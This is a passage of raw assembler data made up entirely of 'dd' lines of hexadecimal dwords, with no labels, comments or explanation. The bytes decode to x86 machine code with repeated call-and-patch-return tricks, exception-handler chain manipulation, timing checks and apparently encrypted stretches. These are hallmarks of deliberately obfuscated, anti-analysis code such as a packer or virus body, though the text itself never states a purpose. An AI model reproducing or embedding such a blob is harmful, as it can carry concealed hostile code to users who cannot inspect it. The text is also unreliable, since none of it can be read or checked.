		dd 1C042444h, 41000000h, 6CABC351h, 6A7EA0DEh, 901D5E7h
		dd 292D7995h, 595FF06h,	8B062906h, 2923399Dh, 0BDBD8306h
		dd 206290Ah, 9B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 3D63BFC3h, 0C6E5A46Ah
		dd 0DABF0FF1h, 1829858Bh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 6B18FEC3h, 6020C2EBh
		dd 0BF0FB1B9h, 1E840FDAh, 0F000000h, 188Bh, 12E800h, 953E0000h
		dd 0E5C521D9h, 91B9001Dh, 41D5A739h, 0EED12D5Eh, 0C65Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ECC35040h
		dd 0BF0FA21Fh, 5D85C7D9h
		dd 62906h, 0E9000000h, 0FFFFF349h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0AEC35040h,	2AD2FB09h, 0ABFEE5CCh
		dd 2D698D89h, 0C18B0629h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 9CC35747h, 19F47F6Bh,	4934891Fh, 6820F2Ah
		dd 23000000h, 2926359Dh, 25858D06h, 6A062914h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 967CC356h, 50AD6054h, 89F88B66h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 74E65C3h
		dd 8B9853EEh, 291B55BDh, 29006A06h, 29010195h, 0F006A06h
		dd 689h, 65BD8B00h, 8D062931h, 2D7AA985h, 95895306h, 629049Dh
		dd 5C0835Bh, 32B59D89h,	9D8B0629h, 6292431h, 0AB51BB50h
		dd 4896795h, 0DB816624h, 6A4E1Ch, 95FF006Ah, 6290CEDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 3EC35040h
		dd 0B5485D5Ah, 9D013330h, 6291DFDh, 98088D8Dh, 5256062Ch
		dd 5B5BDC8Ah, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 668C3DC3h, 55FDD381h, 8199D8Bh
		dd 81660629h, 83F124CFh, 291A29BDh, 850F0106h, 99h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5DC35343h, 0B04E0433h
		dd 92C82E4h, 292C2D85h,	29BD8B06h, 6A06292Ah, 8B66F902h
		dd 525090F8h, 0FDA8B66h, 50585A31h, 9E9h, 889FFB00h, 0FE256E1Fh
		dd 6A90F7EBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0BCBFC350h, 6E3DFF93h,	658D899Bh
		dd 0FF062900h, 29303195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C3CE9CCh
		dd 0E80000h, 5D000000h,	7AB3ED81h, 9D89062Dh, 6290729h
		dd 25E9BD33h, 858D0629h, 62C91B0h, 8B6650FCh, 240489DFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 55C35040h
		dd 8B7E2339h, 0BE940DDh, 0BA000000h, 3E9EDBF0h,	2FA5F760h
		dd 0FF64ABCFh, 35h, 640EB700h, 2589h, 8B600000h, 290961B5h
		dd 6D9D2B06h, 61062930h, 2A1585FFh, 0FF6A0629h,	43DD75BBh
		dd 0EDB5FF6Ah, 6606290Fh, 0FF0B95BFh, 29275595h, 11BE906h
		dd 0E9600000h, 0Bh, 2B0B9B13h, 0C2CEB977h, 89B8A365h, 292F7D95h
		dd 0B06106h, 12820Fh, 6E80000h,	23000000h, 0DF005316h
		dd 8D0F1Ch, 5B000000h, 9D8B70E6h, 62903F1h, 9D0971E4h
		dd 6291A2Dh, 830F613Ch,	0D1h, 0B60F42B7h, 0C5BD89C8h, 0BA062911h
		dd 6, 8671C381h, 0C18B0175h, 8E9h, 0AB9F5400h, 5FB91699h
		dd 4E8C1C1h, 8B0Fh, 0F7660000h,	68E0FE2h, 89000000h, 2909C1B5h
		dd 89C82B06h, 29056D8Dh, 66D18B06h, 574EDF81h, 3E9h, 0FE8B6600h
		dd 791858Bh, 0B70F0629h, 7C083DFh, 5A64ABFh, 9D9D2906h
		dd 8306290Dh, 316000C0h, 292899B5h, 61E18A06h, 830FD03Bh
		dd 0Fh,	5FDE8A53h, 48E9h, 0E99D8B00h, 8B062930h, 2930B18Dh
		dd 13E906h, 15C20000h, 9034EA84h, 8A94379Fh, 2EAA1799h
		dd 72AEFD32h, 1E18304h,	1B840Fh, 8B660000h, 0B1A583DAh
		dd 0FE062930h, 1BEB8166h, 91958979h, 0F8062907h, 0E9h
		dd 0C5B58D00h, 6A062CFAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0B7C2C352h,	6A006A3Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 34F5C351h, 890F55h, 0FC000000h, 59195FFh
		dd 81BF0629h, 66618FDBh, 2DB9F88Bh, 6A000008h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0C75CC353h, 81A870D3h, 9512C3F3h, 0A9BD8B3Bh, 8306290Ah
		dd 8B66FCE1h, 0BF66FCFBh, 0BD8B1943h, 62911BDh,	0B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 5E9EEC7h, 5B000000h,	0A8F78D59h, 0BAh, 6890F00h, 29000000h
		dd 2906559Dh, 61BD0306h, 0AD062924h, 0E8D1C233h, 0E983D003h
		dd 89F47504h, 2935398Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 821D5FA5h, 880Dh, 459D2300h
		dd 8B062910h, 291E6D95h, 0F3816606h, 8D8B1555h,	6292D81h
		dd 8B50FE8Bh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 1331BD83h, 0F000629h, 9E84h,	9D896000h, 629292Dh, 61F88B66h
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8D8D69C0h, 6294D6Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 15C35242h, 0EAABBA23h
		dd 896F6351h, 291B359Dh, 6AE1FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A014C352h
		dd 0EC19A314h, 48CC1FF6h, 16B18D09h, 10E90629h,	0A2000000h
		dd 257DA5BDh, 0D8094D0Bh, 3CDF60D6h, 8318D640h,	292005BDh
		dd 840F0006h, 3CBh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 98C35141h, 2BDD4CD4h,	0E749DB91h, 5BD834Ah
		dd 1062920h, 3B4840Fh, 95890000h, 62906B9h, 1B059531h
		dd 0BD830629h, 6292005h, 65860F03h, 6A000003h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 683CC356h, 7D9AB686h, 712407F4h, 9FDBD8Bh, 0BD890629h
		dd 6290E21h, 0D3816660h, 8D8983C7h, 6290A09h, 0FD98C66h
		dd 0E180FAB7h, 0C90AFC04h, 136840Fh, 81660000h,	8B2DD5CFh
		dd 29188585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0B3EB1A15h, 0CEF88C28h, 899D8953h
		dd 33062918h, 290DED85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 820F844Bh, 13h, 0EE9h
		dd 0A4B60800h, 0B43C1361h, 7C8A89EDh, 50819424h, 0BF666053h
		dd 0B6B30EE4h, 4895F61h, 359D8B24h, 6A062920h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 58E98482h, 6860F87h,	8B000000h, 2933F1BDh, 458D8906h
		dd 68062907h, 7BAF93F6h, 0B880Fh, 6E90000h, 45000000h
		dd 8779D693h, 24348141h, 7BB09009h, 19D9BD8Bh, 95FF0629h
		dd 629004Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	9BC35747h, 25CD8C6Bh, 968589DBh, 89062CC0h, 2908C1B5h
		dd 17CE906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 2B9936C3h, 0B8B7E23Dh, 0C08E858Bh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 706C05C3h, 95897F8Bh, 629141Dh, 0DE9h, 0FA2D3100h
		dd 26968E6Dh, 7CAD41E2h, 0C70691h, 18h,	0BE9h, 0AB538F00h
		dd 0D9A6418Dh, 21410E5Ch, 0C092B58Bh, 8BFC062Ch, 292BC985h
		dd 8D958906h, 8906290Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0DDC29642h, 6EFD72F1h, 858BDE8Bh, 6291885h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FC35747h, 0E93B728Fh
		dd 0Eh,	0E83361C4h, 8CF4C4B6h, 1892EEE4h, 4689FACFh, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8E8430Bh, 0D3000000h, 258EBADCh, 52B8295Eh, 5F5F5F56h
		dd 2579B589h, 89500629h, 8C0F2434h, 2, 0B5FF9AB3h, 62CC08Eh
		dd 0FFBF0F56h, 7F91685Fh, 481EC32h, 0EC846E24h,	96858D13h
		dd 1062CC0h, 292C0D8Dh,	69BF9006h, 502B29C3h, 0BF665190h
		dd 0FF5F7FCDh, 29004D95h, 14E906h, 623B0000h, 0E2A47975h
		dd 5D97DB47h, 1EC18223h, 966262B6h, 6A611B22h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1CA6C355h, 43F0B2C5h, 601BB870h, 5F43B551h, 585C761h
		dd 3062920h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0CF47C351h,	0BAAAEB53h
		dd 0EB8166CCh, 0D98BCD09h, 20BEBB66h, 0C096BD83h, 0F00062Ch
		dd 1784h, 7E900h, 47090000h, 0A6D23F48h, 21E9D4h, 0BD8B0000h
		dd 6291639h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 81C08B00h, 0ADC4CBCBh, 6AF84Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 13BE62C3h, 50C4DB81h
		dd 0BD834153h, 6292005h, 29850F03h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 1E5CC352h, 1240982Bh, 6850Fh, 85290000h, 62916D1h, 836DC780h
		dd 2CC096BDh, 840F0006h, 3ECh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 9FC35242h, 6AB0B461h, 787B4519h
		dd 0C096B5FFh, 6A062Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 800E4BC3h, 95FFFEEFh, 6290E79h
		dd 312DBD89h, 0B58B0629h, 62CC08Ah, 0C7FFBF0Fh,	1000106h
		dd 43BB6600h, 0D98B9669h, 1D850F50h, 60000000h,	13E8D18Bh
		dd 0CF000000h, 54957B00h, 288ABDB9h, 4D6A1CFDh,	0AC3A10F2h
		dd 61581EA6h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0A535391Fh, 544C3DE5h, 0B70F4E16h
		dd 96B5FFFEh, 6A062CC0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 39F4C353h, 7B08446Ch
		dd 8E0Fh, 95FF0000h, 6290721h, 2CC19D8Bh, 0B58B0629h, 62CC08Ah
		dd 8BDBBF0Fh, 29247985h, 0C4868906h, 66000000h,	8B3D73BFh
		dd 291E6D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0DBEE1F08h, 37D381ECh, 8B307B28h
		dd 2919E19Dh, 4C28306h,	89FEB70Fh, 6A2050h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 88A170C3h
		dd 32F19589h, 85890629h, 6292845h, 0D465858Dh, 6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 9D89BDC3h, 62929D5h,	0B88689h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0EBECFCC3h
		dd 8970223Dh, 29325D85h, 0F8006A06h, 0C096B5FFh, 6A062Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 561425C3h, 0DE9h, 0CCA14C00h, 8502F5AAh, 42F787BFh
		dd 95FFFD66h, 6293031h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 1DC35343h, 0C0475186h, 0E9A6A4FDh, 6
		dd 810B1948h, 7EBBCEDDh, 96515538h, 6A9EBF66h, 7E950h
		dd 7C020000h, 0CA881FCh, 6A96AEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 5A293C3h, 9449B2Eh, 152E7A1h
		dd 292DE9BDh, 5D8D8906h, 0FF062900h, 2CC096B5h,	95958906h
		dd 0FF06290Dh, 292F9595h, 0BE806h, 0AD230000h, 9A542036h
		dd 0F53CE243h, 699D2B04h, 5F06290Ah, 11A9BD83h,	0F000629h
		dd 4584h, 0F889B700h, 0DE896h, 523F0000h, 460024F8h, 13BA3BF7h
		dd 66E1B68Fh, 5F3769BBh, 14E850h, 0F0120000h, 978032E3h
		dd 1D55B2A8h, 0B415F270h, 0ED8F9044h, 965F82C2h, 0E9E2B060h
		dd 5, 89274459h, 0B5FF612Ch, 62CC096h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0EEC35040h,	0E9C16E83h, 7
		dd 0E6EFE05Dh, 0FF199376h, 292D3595h, 9E806h, 4B320000h
		dd 1E9D40C9h, 899998BAh, 2919D99Dh, 0B5FF5B06h,	62CC096h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 75C35343h
		dd 0EFDD6899h, 60595FFh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 89C0D3C3h, 0CE1A36C7h
		dd 833465DDh, 290ABDBDh, 840F0206h, 3Dh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0BEC35242h, 0F2494C20h
		dd 59D380D4h, 1829858Bh, 0BD8B0629h, 6290071h, 0E90000C6h
		dd 5, 0AAF37EDBh, 5D85C7F2h, 62906h, 0BF000000h, 1D6B88ACh
		dd 0FFF469E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 688288ACh, 4DFFBF9Ch
		dd 0C18B4ECEh, 858DD98Ah, 6291425h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 57C35040h, 895908E2h, 290F7985h
		dd 52505006h, 310F46B7h, 807BB3BFh, 89585A3Bh, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 66C5D8C3h, 0ECC0D07Eh, 0B70F056Fh, 6A006AFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 2DC0C356h, 775196D3h, 252DEA8Fh, 6A92C780h, 9E900h
		dd 10590000h, 0C2C1FEDBh, 8D10CF0Eh, 2D893F85h,	10E906h
		dd 0C75E0000h, 571BB5B5h, 4A4F6674h, 0FA0C142Bh, 0C0839736h
		dd 1DBD8B05h, 90062908h, 27E9BF51h, 505F5C3Ch, 0EE9h, 93E75800h
		dd 0EA084D78h, 6208B590h, 90AF52F4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 8BC35141h, 8F0F0403h, 6, 140D8509h
		dd 6A0629h, 32859D89h, 6A0629h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 45C35545h, 0BD8B4232h, 629063Dh
		dd 11BDBD0Bh, 95FF0629h, 6290CEDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0DDC35646h,	0F6348099h, 9E877D7h
		dd 64000000h, 0B401F2C4h, 6D652C10h, 5FFBBF0Fh,	880Fh
		dd 8D8D0000h, 62C9808h,	4734DABFh, 6AD1FF37h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 86D9C351h, 0F1F1DAD5h, 0F9313DEh
		dd 8589DEBFh, 6293525h,	1A29BD83h, 0F010629h, 9285h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 6A828CEAh, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0CF310AC5h, 0F78A321Dh, 10E94Fh
		dd 0BC2D0000h, 5ED17D79h, 5558F73Dh, 32C604EBh,	0BD238645h
		dd 6291401h, 50FA8B90h,	0FFFC8A90h, 29303195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0D42942A0h, 19D8B6Fh, 0E906290Dh, 0E08h, 0E8h, 0ED815D00h
		dd 62D8949h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0FBC35141h, 0F825330Ch,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 94C35343h, 0D98D0986h, 8D062900h
		dd 2C91B085h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 3EF8DC99h, 2449461Ah, 0E850FA8Bh
		dd 10h,	0B0E1E1C0h, 5F059D71h, 0FA0140BDh, 0F7D471C9h
		dd 2404895Bh, 35FF64h, 51000000h, 6860Fh, 0EF810000h, 2F8A4A08h
		dd 2589645Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4DC35343h
		dd 0F215C894h, 2A1585FFh, 6A0629h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 9DB09DC3h, 4FD2DECEh
		dd 0FF6ACD06h, 1B619D03h, 0B5FF0629h, 6291F6Dh,	28D0Fh
		dd 0FAB30000h, 275595FFh, 1CE90629h, 0F000001h,	38Ah, 0D98B6600h
		dd 0B009CB80h, 7E900h, 8EDE0000h, 0CB2FA141h, 8B70E685h
		dd 290839BDh, 8171E406h, 0EBF398CBh, 0F613C06h,	0EA83h
		dd 0C1858900h, 0F06292Ch, 3FB3C8B6h, 6BAh, 6810F00h, 29000000h
		dd 29138995h, 0B0F78106h, 8B605C24h, 9E9C1h, 54430000h
		dd 78F94E3Fh, 0C10369C3h, 66F804E8h, 0BF0FE2F7h, 0FE9FEh
		dd 0F9E0000h, 65B4545Ah, 33AECC65h, 99B16D2Fh, 66C82BECh
		dd 0B607D781h, 4DBBD18Bh, 1592F4Bh, 291B1985h, 6E906h
		dd 0BD010000h, 6292E75h, 3155858Bh, 0B70F0629h,	7C083D8h
		dd 359D8960h, 66062907h, 8361F88Bh, 0BD8900C0h,	6291205h
		dd 830FD03Bh, 14h, 6860Fh, 9D8B0000h, 6292F99h,	42E9h
		dd 0FBBF0F00h, 9D18D8Bh, 0B70F0629h, 500ABBFAh,	0E1830174h
		dd 28840F01h, 89000000h, 290CAD85h, 0D1A58306h,	0FE062909h
		dd 4800Fh, 0BB660000h, 9589B21Eh, 6293155h, 8999D89h, 0E90629h
		dd 8D000000h, 2D04D8B5h, 7608BF06h, 8B0F18C2h, 0Eh, 850F60h
		dd 89000000h, 2904658Dh, 6A6106h, 5FFE8B51h, 59195FFh
		dd 31600629h, 2919D9B5h, 25D28106h, 61709F3Fh, 92DB9h
		dd 83F3B300h, 9531FCE1h, 629163Dh, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 559E36Dh, 0BD8B0ED3h
		dd 629114Dh, 0B8h, 9BB75600h, 0BA5Bh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0E89E3DC3h, 89FDFD7Bh, 2919C98Dh, 9DBD8B06h,	0AD06291Eh
		dd 0E8D1C233h, 0E983D003h, 60F47504h, 0BDBD8BF5h, 61062923h
		dd 125D8D89h, 0BD8B0629h, 6292F7Dh, 880Dh, 358D8900h, 8B062910h
		dd 291E6D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 776DED50h, 9E6C6BBBh, 818D8B89h
		dd 0F06292Dh, 1389h, 0EE900h, 0CA410000h, 0EA5BDB5Bh, 6B026BE1h
		dd 0D5DAF1B5h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 6FDC56C3h, 60DF8B75h, 765BD03h, 0B5890629h
		dd 6292C39h, 8B665661h,	0BD835BFAh, 6291331h, 96840F00h
		dd 0E8000000h, 0Eh, 0F47834F2h,	0E715F750h, 61A8BC46h
		dd 0DE9E06Fh, 0E8000000h, 4A031165h, 29AA1887h,	767B8B8Ch
		dd 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 40C57AC3h, 31051B9h, 0BDC38166h
		dd 59D8BB8h, 8D06290Ah,	294D6B8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 859589B5h
		dd 0E9062926h, 0Fh, 0C2241F1h, 3F1F9F28h, 3E3CBD63h, 0FFD4DB76h
		dd 5BD83E1h, 62920h, 492840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD83CEC3h
		dd 6292005h, 84840F01h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0B766C355h
		dd 581F22F2h, 0F8B70FEDh, 2005BD83h, 0F030629h,	41C86h
		dd 0BE900h, 0AB800000h,	7E0C58D8h, 0CBB8403Eh, 9D8960ACh
		dd 6291211h, 6AD98C66h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 7878C351h, 29787878h
		dd 290CF195h, 0E180FC06h, 0BCCF8004h, 840FC90Ah, 123h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9C35747h
		dd 0FB22369Fh, 36A323Dh, 1885858Bh, 6A0629h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 6076D7C3h
		dd 0FB51E181h, 33617967h, 290DED85h, 0C58D8906h, 5006290Ch
		dd 33240489h, 291EF1BDh, 0E9006A06h, 14h, 672E1905h, 4FC60B68h
		dd 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh, 4E8h, 1F03FF00h, 0EDBB6600h
		dd 0D88B50BBh, 424448Bh, 8BFB8Bh, 4489FB8Bh, 0B6600424h
		dd 22B86621h, 895861C5h, 2909E195h, 4D95FF06h, 6A062900h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0AE8AC353h, 85895801h, 62CC096h, 10FD9D0Bh
		dd 31E90629h, 6A000002h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1432C351h, 850F64B5h
		dd 6, 27D19D8Bh, 9E80629h, 29000000h, 7D74C436h, 0FB1A453Eh
		dd 34899D8Bh, 8B5F0629h, 2CC08E85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0C780DCh, 18h
		dd 9D015156h, 629331Dh,	0B58B5B5Bh, 62CC092h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h, 4BDB8166h
		dd 0C9858B09h, 0F806292Bh, 6A0689h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B5423C3h
		dd 292539BDh, 85858B06h, 6A062918h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1DECC353h
		dd 0B7185641h, 44689D2h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 0DBC35141h, 85011D4Eh, 6291B81h, 50FE8B96h
		dd 0DE8h, 0BEAEB100h, 62A8E747h, 9EBB5C54h, 11E8F51Eh
		dd 0D1000000h, 0C2B28F4Fh, 0C9EAD3E1h, 8837F381h, 11540D27h
		dd 5F5B6160h, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 3A89BD5Eh, 0B589D5FBh, 6291DE9h
		dd 0C08EB5FFh, 6A062Ch,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 63731C3h, 5E910E5h, 88000000h, 0EE501536h
		dd 357E9C68h, 0DE9C0h, 0C8F50000h, 695EE56Ch, 5B2EC5D0h
		dd 81C1647Fh, 85632404h, 6A3FE9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 76853C3h, 8DDBB70Fh
		dd 2CC09685h, 66579006h, 505BD98Bh, 0CE8h, 64AD3900h, 571484FFh
		dd 0FD0D3A7h, 0B4B760FCh, 69AA55B9h, 905F6169h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 93C35141h, 0F577075Dh
		dd 4D95FFh, 0BD8B0629h,	629175Dh, 0BE961h, 0D3310000h
		dd 0B7A77BBAh, 0BEC7C1FDh, 585C7BEh, 3062920h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 1EB9C351h, 4A02587Eh, 8BDD6C00h, 0C096BD83h
		dd 0F00062Ch, 6C84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 38450480h, 682E4024h
		dd 23799D01h, 59E90629h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0EB23C357h
		dd 0E829611Ah, 13h, 7DF4033Bh
		dd 0B6E394BEh, 0C7EE931Dh, 0AED87105h, 0BFD819E7h, 77354123h
		dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h
		dd 5FD98B09h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	0EAC35242h, 4F9137F2h, 27839D4Fh, 0FF18589h, 0BD830629h
		dd 6292005h, 5A850F03h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E956C352h
		dd 9CDF80AAh, 89818CFFh, 292349BDh, 96BD8306h, 62CC0h
		dd 423840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0FF939C3h, 0B5FFFABFh, 62CC096h
		dd 2C319531h, 95FF0629h, 6290E79h, 5D9B501h, 0B58B0629h
		dd 62CC08Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	78C35343h, 0F63173D1h, 0FC5D38Ah, 6C7F59Bh, 10001h
		dd 0F98B96F8h, 52505750h, 310FF88Bh, 0BF3FBF66h, 965B585Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3BC35646h
		dd 13E9394Dh, 7E000000h, 4FF69C48h, 95A243DAh, 3B3EFBB5h
		dd 0C41C5753h, 0B5FFF4EAh, 62CC096h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 4AC35545h, 562FB6D5h, 89303E6Eh
		dd 290F01B5h, 2195FF06h, 81062907h, 769ECFD3h, 8AB58B35h
		dd 6A062CC0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0FA47C353h, 739E56DFh,	85315274h
		dd 6291B81h, 2479858Bh,	6A0629h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0A7B781C3h, 3890F73h
		dd 66000000h, 8689D88Bh, 0C4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C3C35242h,	1CD14BBAh, 8BEC9CFEh
